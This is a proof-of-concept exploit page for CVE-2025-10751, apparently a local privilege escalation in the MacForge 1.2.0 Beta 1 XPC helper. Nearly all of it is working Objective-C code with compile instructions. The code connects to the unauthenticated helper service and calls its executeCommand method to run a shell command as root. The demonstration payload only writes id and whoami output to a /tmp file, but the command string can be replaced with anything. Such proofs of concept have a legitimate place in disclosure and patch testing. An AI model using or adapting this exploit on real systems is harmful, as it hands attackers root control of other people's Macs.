CVE-2025-10751：MacForge不安全XPC服务导致本地权限提升漏洞

// CVE-2025-10751 - MacForge Insecure XPC Service Privilege Escalation PoC // This PoC demonstrates how a local unprivileged user can exploit the // insecure XPC service in MacForge 1.2.0 Beta 1 to escalate privileges to root. // // Note: Requires linking against Foundation framework. // Compile: clang -framework Foundation exploit.m -o exploit #import <Foundation/Foundation.h> // Mach service name of the vulnerable MacForge XPC service static NSString * const kMacForgeXPCServiceName = @"com.macenhance.MacForge.helper"; // XPC interface protocol - methods exposed by the privileged helper @protocol MacForgeHelperProtocol - (void)executeCommand:(NSString *)command withReply:(void (^)(NSString *output, NSError *error))reply; - (void)installPluginAtPath:(NSString *)path withReply:(void (^)(BOOL success, NSError *error))reply; @end int main(int argc, const char * argv[]) { @autoreleasepool { NSLog(@"[*] CVE-2025-10751 - MacForge XPC Privilege Escalation PoC"); // Step 1: Create a connection to the vulnerable XPC service NSXPCConnection *connection = [[NSXPCConnection alloc] initWithServiceName:kMacForgeXPCServiceName]; // Step 2: Set the remote object interface (no validation required by the service) connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MacForgeHelperProtocol)]; // Step 3: Resume the connection (establishes Mach port communication) [connection resume]; NSLog(@"[*] Connected to MacForge XPC service"); // Step 4: Obtain proxy to the privileged helper object id<MacForgeHelperProtocol> proxy = [connection remoteObjectProxy]; // Step 5: Call privileged method to execute command as root // The vulnerable service does not verify the caller's identity, // so this command will execute with root privileges NSString *cmd = @"/bin/sh -c 'id > /tmp/pwned_by_cve_2025_10751.txt; whoami >> /tmp/pwned_by_cve_2025_10751.txt'"; [proxy executeCommand:cmd withReply:^(NSString *output, NSError *error) { if (error) { NSLog(@"[-] Error: %@", error); } else { NSLog(@"[+] Command output: %@", output); NSLog(@"[+] Privilege escalation successful! Check /tmp/pwned_by_cve_2025_10751.txt"); } // Cleanup [connection invalidate]; exit(0); }]; // Keep the run loop alive for async reply [[NSRunLoop mainRunLoop] run]; } return 0; }